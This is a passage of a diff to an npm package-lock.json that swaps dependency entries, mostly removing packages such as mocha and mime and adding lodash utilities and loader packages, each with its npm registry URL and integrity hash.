"https://registry.npmjs.org/memorystream/-/memorystream-0.3.1.tgz", +- "integrity": "sha1-htcJCzDORV1j+64S3aUaR93K+bI=", +- "dev": true +- }, +- "mensch": { +- "version": "0.3.4", +- "resolved": "https://registry.npmjs.org/mensch/-/mensch-0.3.4.tgz", +- "integrity": "sha512-IAeFvcOnV9V0Yk+bFhYR07O3yNina9ANIN5MoXBKYJ/RLYPurd2d0yw14MDhpr9/momp0WofT1bPUh3hkzdi/g==", +- "dev": true +- }, +- "merge-descriptors": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", +- "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" +- }, +- "merge-stream": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", +- "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" ++ "load-script": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/load-script/-/load-script-1.0.0.tgz", ++ "integrity": "sha1-BJGTngvuVkPuSUp+PaPSuscMbKQ=" + }, +- "merge2": { +- "version": "1.4.1", +- "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", +- "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", +- "devOptional": true ++ "loader-runner": { ++ "version": "4.2.0", ++ "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", ++ "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==" + }, +- "method-override": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/method-override/-/method-override-3.0.0.tgz", +- "integrity": "sha512-IJ2NNN/mSl9w3kzWB92rcdHpz+HjkxhDJWNDBqSlas+zQdP8wBiJzITPg08M/k2uVvMow7Sk41atndNtt/PHSA==", ++ "loader-utils": { ++ "version": "2.0.2", ++ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz", ++ "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==", + "requires": { +- "debug": "3.1.0", +- "methods": "~1.1.2", +- "parseurl": "~1.3.2", +- "vary": "~1.1.2" ++ "big.js": "^5.2.2", ++ "emojis-list": "^3.0.0", ++ "json5": "^2.1.2" + }, + "dependencies": { +- "debug": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", +- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" ++ "big.js": { ++ "version": "5.2.2", ++ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", ++ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" + } + } + }, +- "methods": { +- "version": "1.1.2", +- "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", +- "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" +- }, +- "mhook": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/mhook/-/mhook-1.0.1.tgz", +- "integrity": "sha1-C6igyiARIlgzA9tKsdDi/5jytUw=" +- }, +- "micromatch": { +- "version": "4.0.4", +- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", +- "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", ++ "locate-path": { ++ "version": "6.0.0", ++ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", ++ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "requires": { +- "braces": "^3.0.1", +- "picomatch": "^2.2.3" ++ "p-locate": "^5.0.0" + } + }, +- "microtime": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/microtime/-/microtime-3.0.0.tgz", +- "integrity": "sha512-SirJr7ZL4ow2iWcb54bekS4aWyBQNVcEDBiwAz9D/sTgY59A+uE8UJU15cp5wyZmPBwg/3zf8lyCJ5NUe1nVlQ==", ++ "lockfile": { ++ "version": "1.0.4", ++ "resolved": "https://registry.npmjs.org/lockfile/-/lockfile-1.0.4.tgz", ++ "integrity": "sha512-cvbTwETRfsFh4nHsL1eGWapU1XFi5Ot9E85sWAwia7Y7EgB7vfqcZhTKZ+l7hCGxSPoushMv5GKhT5PdLv03WA==", + "requires": { +- "node-addon-api": "^1.2.0", +- "node-gyp-build": "^3.8.0" +- }, +- "dependencies": { +- "node-addon-api": { +- "version": "1.7.2", +- "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-1.7.2.tgz", +- "integrity": "sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg==" +- } ++ "signal-exit": "^3.0.2" + } + }, +- "mime": { +- "version": "2.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", +- "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==" ++ "lodash": { ++ "version": "4.17.21", ++ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", ++ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, +- "mime-db": { +- "version": "1.51.0", +- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.51.0.tgz", +- "integrity": "sha512-5y8A56jg7XVQx2mbv1lu49NR4dokRnhZYTtL+KGfaa27uq4pSTXkwQkFJl4pkRMyNFz/EtYDSkiiEHx3F7UN6g==" ++ "lodash-es": { ++ "version": "4.17.21", ++ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", ++ "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" + }, +- "mime-match": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/mime-match/-/mime-match-1.0.2.tgz", +- "integrity": "sha1-P4fDHprxpf1IX7nbE0Qosju7e6g=", +- "requires": { +- "wildcard": "^1.1.0" +- } ++ "lodash._reinterpolate": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz", ++ "integrity": "sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=", ++ "dev": true + }, +- "mime-types": { +- "version": "2.1.34", +- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.34.tgz", +- "integrity": "sha512-6cP692WwGIs9XXdOO4++N+7qjqv0rqxxVvJ3VHPh/Sc9mVZcQP+ZGhkKiTvWMQRr2tbHkJP/Yn7Y0npb3ZBs4A==", +- "requires": { +- "mime-db": "1.51.0" +- } ++ "lodash.camelcase": { ++ "version": "4.3.0", ++ "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", ++ "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=" + }, +- "mimic-fn": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", +- "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==" ++ "lodash.debounce": { ++ "version": "4.0.8", ++ "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", ++ "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=" + }, +- "mimic-response": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", +- "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" ++ "lodash.defaults": { ++ "version": "4.2.0", ++ "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", ++ "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=" + }, +- "min-document": { +- "version": "2.19.0", +- "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", +- "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=", +- "requires": { +- "dom-walk": "^0.1.0" +- } ++ "lodash.difference": { ++ "version": "4.5.0", ++ "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz", ++ "integrity": "sha1-nMtOUF1Ia5FlE0V3KIWi3yf9AXw=" ++ }, ++ "lodash.flatten": { ++ "version": "4.4.0", ++ "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", ++ "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=" ++ }, ++ "lodash.flattendeep": { ++ "version": "4.4.0", ++ "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz", ++ "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=", ++ "dev": true ++ }, ++ "lodash.frompairs": { ++ "version": "4.0.1", ++ "resolved": "https://registry.npmjs.org/lodash.frompairs/-/lodash.frompairs-4.0.1.tgz", ++ "integrity": "sha1-vE5SB/onV8E25XNhTpZkUGsrG9I=" ++ }, ++ "lodash.get": { ++ "version": "4.4.2", ++ "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", ++ "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" ++ }, ++ "lodash.has": { ++ "version": "4.5.2", ++ "resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz", ++ "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=", ++ "dev": true ++ }, ++ "lodash.includes": { ++ "version": "4.3.0", ++ "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", ++ "integrity": "sha1-YLuYqHy5I8aMoeUTJUgzFISfVT8=" ++ }, ++ "lodash.isarguments": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz", ++ "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo=" ++ }, ++ "lodash.isboolean": { ++ "version": "3.0.3", ++ "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", ++ "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=" ++ }, ++ "lodash.isequal": { ++ "version": "4.5.0", ++ "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", ++ "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=", ++ "dev": true ++ }, ++ "lodash.isinteger": { ++ "version": "4.0.4", ++ "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", ++ "integrity": "sha1-YZwK89A/iwTDH1iChAt3sRzWg0M=" ++ }, ++ "lodash.isnumber": { ++ "version": "3.0.3", ++ "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", ++ "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=" ++ }, ++ "lodash.isplainobject": { ++ "version": "4.0.6", ++ "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", ++ "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=" + }, +- "minimalistic-assert": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", +- "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", +- "devOptional": true ++ "lodash.isstring": { ++ "version": "4.0.1", ++ "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", ++ "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=" + }, +- "minimatch": { +- "version": "3.0.4", +- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", +- "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", +- "requires": { +- "brace-expansion": "^1.1.7" +- } ++ "lodash.memoize": { ++ "version": "4.1.2", ++ "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", ++ "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", ++ "dev": true + }, +- "minimist": { +- "version": "0.0.8", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", +- "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=" ++ "lodash.merge": { ++ "version": "4.6.2", ++ "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", ++ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", ++ "dev": true + }, +- "minipass": { +- "version": "3.1.6", +- "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.6.tgz", +- "integrity": "sha512-rty5kpw9/z8SX9dmxblFA6edItUmwJgMeYDZRrwlIVN27i8gysGbznJwUggw2V/FVqFSDdWy040ZPS811DYAqQ==", +- "requires": { +- "yallist": "^4.0.0" +- }, +- "dependencies": { +- "yallist": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", +- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" +- } +- } ++ "lodash.omit": { ++ "version": "4.5.0", ++ "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz", ++ "integrity": "sha1-brGa5aHuHdnfC5aeZs4Lf6MLXmA=", ++ "dev": true + }, +- "minizlib": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", +- "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", +- "requires": { +- "minipass": "^3.0.0", +- "yallist": "^4.0.0" +- }, +- "dependencies": { +- "yallist": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", +- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" +- } +- } ++ "lodash.once": { ++ "version": "4.1.1", ++ "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", ++ "integrity": "sha1-DdOXEhPHxW34gJd9UEyI+0cal6w=" + }, +- "mirror_documentation": { +- "version": "file:jobs/mirror-documentation", +- "requires": { +- "bluebird": "^3.5.3", +- "glob": "^7.1.3", +- "googleapis": "^39.1.0", +- "node-fetch": "^2.6.7", +- "overleaf-editor-core": "*", +- "swagger-client": "^3.8.24", +- "tmp": "0.0.33" +- }, +- "dependencies": { +- "tmp": { +- "version": "0.0.33", +- "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", +- "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", +- "requires": { +- "os-tmpdir": "~1.0.2" +- } +- } +- } ++ "lodash.padend": { ++ "version": "4.6.1", ++ "resolved": "https://registry.npmjs.org/lodash.padend/-/lodash.padend-4.6.1.tgz", ++ "integrity": "sha1-U8y6BH0G4VjTEfRdpiX05J5vFm4=", ++ "dev": true + }, +- "mixin-deep": { +- "version": "1.3.2", +- "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", +- "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", +- "requires": { +- "for-in": "^1.0.2", +- "is-extendable": "^1.0.1" +- }, +- "dependencies": { +- "is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "requires": { +- "is-plain-object": "^2.0.4" +- } +- } +- } ++ "lodash.pick": { ++ "version": "4.4.0", ++ "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", ++ "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=", ++ "dev": true + }, +- "mixme": { +- "version": "0.5.4", +- "resolved": "https://registry.npmjs.org/mixme/-/mixme-0.5.4.tgz", +- "integrity": "sha512-3KYa4m4Vlqx98GPdOHghxSdNtTvcP8E0kkaJ5Dlh+h2DRzF7zpuVVcA8B0QpKd11YJeP9QQ7ASkKzOeu195Wzw==" ++ "lodash.set": { ++ "version": "4.3.2", ++ "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz", ++ "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=", ++ "dev": true ++ }, ++ "lodash.sortby": { ++ "version": "4.7.0", ++ "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", ++ "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", ++ "dev": true + }, +- "mixpanel": { +- "version": "0.13.0", +- "resolved": "https://registry.npmjs.org/mixpanel/-/mixpanel-0.13.0.tgz", +- "integrity": "sha512-YOWmpr/o4+zJ8LPjuLUkWLc2ImFeIkX6hF1t62Wlvq6loC6e8EK8qieYO4gYPTPxxtjAryl7xmIvf/7qnPwjrQ==", ++ "lodash.template": { ++ "version": "4.5.0", ++ "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.5.0.tgz", ++ "integrity": "sha512-84vYFxIkmidUiFxidA/KjjH9pAycqW+h980j7Fuz5qxRtO9pgB7MDFTdys1N7A5mcucRiDyEq4fusljItR1T/A==", ++ "dev": true, + "requires": { +- "https-proxy-agent": "5.0.0" ++ "lodash._reinterpolate": "^3.0.0", ++ "lodash.templatesettings": "^4.0.0" + } + }, +- "mkdirp": { +- "version": "0.5.1", +- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", +- "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", ++ "lodash.templatesettings": { ++ "version": "4.2.0", ++ "resolved": "https://registry.npmjs.org/lodash.templatesettings/-/lodash.templatesettings-4.2.0.tgz", ++ "integrity": "sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ==", ++ "dev": true, + "requires": { +- "minimist": "0.0.8" ++ "lodash._reinterpolate": "^3.0.0" + } + }, +- "mkdirp-classic": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", +- "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" ++ "lodash.throttle": { ++ "version": "4.1.1", ++ "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", ++ "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" + }, +- "mkdirp2": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/mkdirp2/-/mkdirp2-1.0.5.tgz", +- "integrity": "sha512-xOE9xbICroUDmG1ye2h4bZ8WBie9EGmACaco8K8cx6RlkJJrxGIqjGqztAI+NMhexXBcdGbSEzI6N3EJPevxZw==", +- "dev": true ++ "lodash.union": { ++ "version": "4.6.0", ++ "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", ++ "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=" + }, +- "mmdb-lib": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/mmdb-lib/-/mmdb-lib-2.0.2.tgz", +- "integrity": "sha512-shi1I+fCPQonhTi7qyb6hr7hi87R7YS69FlfJiMFuJ12+grx0JyL56gLNzGTYXPU7EhAPkMLliGeyHer0K+AVA==" ++ "lodash.uniq": { ++ "version": "4.5.0", ++ "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", ++ "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", ++ "dev": true + }, +- "mmmagic": { +- "version": "0.5.3", +- "resolved": "https://registry.npmjs.org/mmmagic/-/mmmagic-0.5.3.tgz", +- "integrity": "sha512-xLqCu7GJYTzJczg0jafXFuh+iPzQL/ru0YYf4GiTTz8Cehru/wiXtUS8Pp8Xi77zNaiVndJ0OO1yAFci6iHyFg==", ++ "log": { ++ "version": "6.3.1", ++ "resolved": "https://registry.npmjs.org/log/-/log-6.3.1.tgz", ++ "integrity": "sha512-McG47rJEWOkXTDioZzQNydAVvZNeEkSyLJ1VWkFwfW+o1knW+QSi8D1KjPn/TnctV+q99lkvJNe1f0E1IjfY2A==", + "requires": { +- "nan": "^2.13.2" ++ "d": "^1.0.1", ++ "duration": "^0.2.2", ++ "es5-ext": "^0.10.53", ++ "event-emitter": "^0.3.5", ++ "sprintf-kit": "^2.0.1", ++ "type": "^2.5.0", ++ "uni-global": "^1.0.0" + } + }, +- "mocha": { +- "version": "8.4.0", +- "resolved": "https://registry.npmjs.org/mocha/-/mocha-8.4.0.tgz", +- "integrity": "sha512-hJaO0mwDXmZS4ghXsvPVriOhsxQ7ofcpQdm8dE+jISUOKopitvnXFQmpRR7jd2K6VBG6E26gU3IAbXXGIbu4sQ==", ++ "log-driver": { ++ "version": "1.2.7", ++ "resolved": "https://registry.npmjs.org/log-driver/-/log-driver-1.2.7.tgz", ++ "integrity": "sha512-U7KCmLdqsGHBLeWqYlFA0V0Sl6P08EE1ZrmA9cxjUE0WVqT9qnyVDPz1kzpFEP0jdJuFnasWIfSd7fsaNXkpbg==" ++ }, ++ "log-symbols": { ++ "version": "4.1.0", ++ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", ++ "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "requires": { +- "@ungap/promise-all-settled": "1.1.2", +- "ansi-colors": "4.1.1", +- "browser-stdout": "1.3.1", +- "chokidar": "3.5.1", +- "debug": "4.3.1", +- "diff": "5.0.0", +- "escape-string-regexp": "4.0.0", +- "find-up": "5.0.0", +- "glob": "7.1.6", +- "growl": "1.10.5", +- "he": "1.2.0", +- "js-yaml": "4.0.0", +- "log-symbols": "4.0.0", +- "minimatch": "3.0.4", +- "ms": "2.1.3", +- "nanoid": "3.1.20", +- "serialize-javascript": "5.0.1", +- "strip-json-comments": "3.1.1", +- "supports-color": "8.1.1", +- "which": "2.0.2", +- "wide-align": "1.1.3", +- "workerpool": "6.1.0", +- "yargs": "16.2.0", +- "yargs-parser": "20.2.4", +- "yargs-unparser": "2.0.0" ++ "chalk": "^4.1.0", ++ "is-unicode-supported": "^0.1.0" + }, + "dependencies": { + "ansi-styles": { +@@ -57588,319 +46077,302 @@ + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" +- }, +- "dependencies": { +- "supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", +- "dev": true, +- "requires": { +- "has-flag": "^4.0.0" +- } +- } +- } +- }, +- "chokidar": { +- "version": "3.5.1", +- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz", +- "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==", +- "dev": true, +- "requires": { +- "anymatch": "~3.1.1", +- "braces": "~3.0.2", +- "fsevents": "~2.3.1", +- "glob-parent": "~5.1.0", +- "is-binary-path": "~2.1.0", +- "is-glob": "~4.0.1", +- "normalize-path": "~3.0.0", +- "readdirp": "~3.5.0" +- } +- }, +- "debug": { +- "version": "4.3.1", +- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", +- "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", +- "dev": true, +- "requires": { +- "ms": "2.1.2" +- }, +- "dependencies": { +- "ms": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", +- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", +- "dev": true +- } +- } +- }, +- "glob": { +- "version": "7.1.6", +- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", +- "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", +- "dev": true, +- "requires": { +- "fs.realpath": "^1.0.0", +- "inflight": "^1.0.4", +- "inherits": "2", +- "minimatch": "^3.0.4", +- "once": "^1.3.0", +- "path-is-absolute": "^1.0.0" +- } +- }, +- "js-yaml": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.0.0.tgz", +- "integrity": "sha512-pqon0s+4ScYUvX30wxQi3PogGFAlUyH0awepWvwkj4jD4v+ova3RiYw8bmA6x2rDrEaj8i/oWKoRxpVNW+Re8Q==", +- "dev": true, +- "requires": { +- "argparse": "^2.0.1" +- } +- }, +- "log-symbols": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.0.0.tgz", +- "integrity": "sha512-FN8JBzLx6CzeMrB0tg6pqlGU1wCrXW+ZXGH481kfsBqer0hToTIiHdjH4Mq8xJUbvATujKCvaREGWpGUionraA==", +- "dev": true, +- "requires": { +- "chalk": "^4.0.0" +- } +- }, +- "nanoid": { +- "version": "3.1.20", +- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.20.tgz", +- "integrity": "sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==", +- "dev": true +- }, +- "randombytes": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", +- "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", +- "dev": true, +- "requires": { +- "safe-buffer": "^5.1.0" + } + }, +- "readdirp": { +- "version": "3.5.0", +- "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz", +- "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==", ++ "supports-color": { ++ "version": "7.2.0", ++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", ++ 